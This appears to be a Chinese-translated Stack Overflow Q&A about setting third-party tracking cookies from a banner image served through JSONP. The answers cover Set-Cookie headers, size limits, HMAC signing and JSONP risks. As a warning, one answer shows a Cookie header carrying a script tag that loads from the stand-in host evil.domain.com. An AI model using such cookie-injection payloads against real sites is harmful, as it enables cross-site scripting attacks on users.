【问题标题】:Can I set a cookie in this situation?我可以在这种情况下设置 cookie 吗?
【发布时间】:2016-12-16 19:59:10
【问题描述】:

我想在 a.com 上发布横幅广告,为此,a.com 必须通过 jsonp 向 b.com 查询横幅 url。当请求时,b.com 会返回如下内容:

{
    img_url: www.c.com/banner.jpg
}

我的问题是:c.com 是否可以在客户端浏览器上设置一个 cookie,以便它知道客户端是否已经看到了这个横幅图像?

澄清一下:

  1. c.com 不会尝试跟踪 a.com 上的任何信息。它只是想在客户端浏览器上设置一个第三方cookie用于跟踪目的。

  2. 我无法控制 a.com,所以我无法编写任何客户端 JS 或要求他们包含任何外部 js 文件。我只能在b.com上公开一个查询url,供a.com的程序员查询

  3. 我完全控制了 b.com 和 c.com

  4. a.com 通过 JSONP 接收到横幅 url 时,会将横幅动态插入到其 DOM 中用于显示目的

一个小的后续问题:

由于我不知道 a.com 的程序员如何将横幅插入 DOM,他们是否可以向 c.com 请求图像但仍然阻止 c.com 设置任何第三方 cookie?

【问题讨论】:

    标签: web-services http cookies


    【解决方案1】:

    简单版

    在来自 c.com 的 HTTP 响应中,您可以发送 Set-Cookie 标头。 如果浏览器最终加载了www.c.com/banner1234.jpg 和后来的www.c.com/banner7975.jpg,您可以发送例如Set-Cookie: seen_banners=1234,7975 跟踪看到了哪些横幅。

    当 HTTP 请求到达 www.c.com 时,它将包含一个类似 Cookie: seen_banners=1234,7975 的标头,您可以解析出哪些横幅已被看到。

    如果您像这样使用单独的 cookie:

    Set-Cookie: seen_1234=true
    Set-Cookie: seen_7975=true
    

    然后你会得到这样的请求头:

    Cookie: seen_1234=true; seen_7975=true
    

    根据您想要对值进行多少解析,您可以自行选择。另请注意,您可以考虑设置许多cookie attributes。

    注意事项

    • 一些现代浏览器和广告拦截扩展会拦截这些 cookie 作为一种反跟踪措施。他们不知道你的意图。
    • 这些 cookie 仅对 www.c.com 可见。
    • Cookie 具有浏览器甚至某些限制的大小限制 防火墙。这些可以是每个 cookie 长度、长度的限制 每个域的 cookie 总和,或者只是 cookie 的数量。我有 遇到允许一定数量字节的防火墙 Cookie: 请求标头并删除所有 Cookie: 标头以外 那个尺寸。一些较旧的移动设备对 cookie 的限制非常小 大小。
    • Cookie 可由用户编辑,并且可以被篡改 men-in-the-middle。 考虑在您的 cookie 值上添加一个身份验证器,例如 HMAC,这样您就可以确定您读取的值是您写入的值。这不会防御 replay attacks 除非你 在签署 cookie 之前包括重放防御,例如时间戳。

    这非常重要:您在服务器上通过 HTTP 请求接收到的 Cookie 必须被视为攻击者控制的数据。除非您设置了 HMAC 之类的保护措施(并且您将您的 HMAC 秘密保密!),否则不要将这些值放入受信任的存储中而不标记它们被污染。如果您制作一个用于跟踪横幅展示的仪表板,并从请求中获取 cookie 值的文本并将其显示在浏览器中,那么如果有人发送,您可能会遇到麻烦:

    Cookie: seen_banners=<script src="http://evil.domain.com/attack_banner_author.js"></script>
    

    旁白:我已经回答了你的问题,但我有义务警告你,jsonp 对 www.a.com 网站的用户来说是 really、really 危险的。请考虑替代方案,例如仅使用 img 标记返回 HTML。

    【讨论】:

    • 非常感谢您的详细回答!您认为我在 OP 中添加的后续问题会影响您的回答吗?
    • 他们可以通过使用代理来阻止 cookie 来加载图像并将其提供给浏览器自己。如果Content Security Policy Cookie Contols 的未来版本基于与基本页面一起发送的 CSP 标记在每个域级别上提供用于阻止 cookie 的标记,我不会感到惊讶。但它不会改变答案。
    【解决方案2】:

    c.com 是否可以在客户端浏览器上设置 cookie,以便知道客户端是否已经看到此横幅图像?

    目前不基于请求。除了b.com 提及之外,c.com 不涉及。

    如果来自b.com 的响应中的数据用于向www.c.com 发出请求,那么www.c.com 可以在其请求中包含cookie 设置标头。

    从同一浏览器对www.c.com 的后续请求将回显这些cookie。

    这些将是第三方 cookie,因此更有可能被隐私设置阻止。

    【讨论】:

    • 当a.com 动态地将banner 插入到它的DOM 中时,浏览器必须请求c.com 对吧?那个时候,c.com可以在客户端浏览器上设置cookie吗?
    • 是的,我就是这么说的。
    • @Cheng — 在您编辑问题以添加第 4 步之前,答案是否定的。
    猜你喜欢
    • 2012-03-28
    • 1970-01-01
    • 2016-09-12
    • 2018-10-15
    • 2016-11-07
    • 1970-01-01
    • 2022-08-05
    • 2018-05-05
    • 1970-01-01
    相关资源
    最近更新 更多